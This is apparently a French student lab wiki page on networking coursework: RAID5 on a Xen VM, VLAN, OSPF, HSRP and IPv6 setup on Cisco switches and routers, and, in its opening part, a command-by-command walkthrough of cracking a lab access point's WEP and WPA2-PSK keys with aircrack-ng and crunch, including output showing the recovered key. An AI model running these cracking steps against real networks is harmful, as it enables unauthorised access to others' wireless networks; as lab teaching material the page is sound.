&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Bssid.png]]&lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
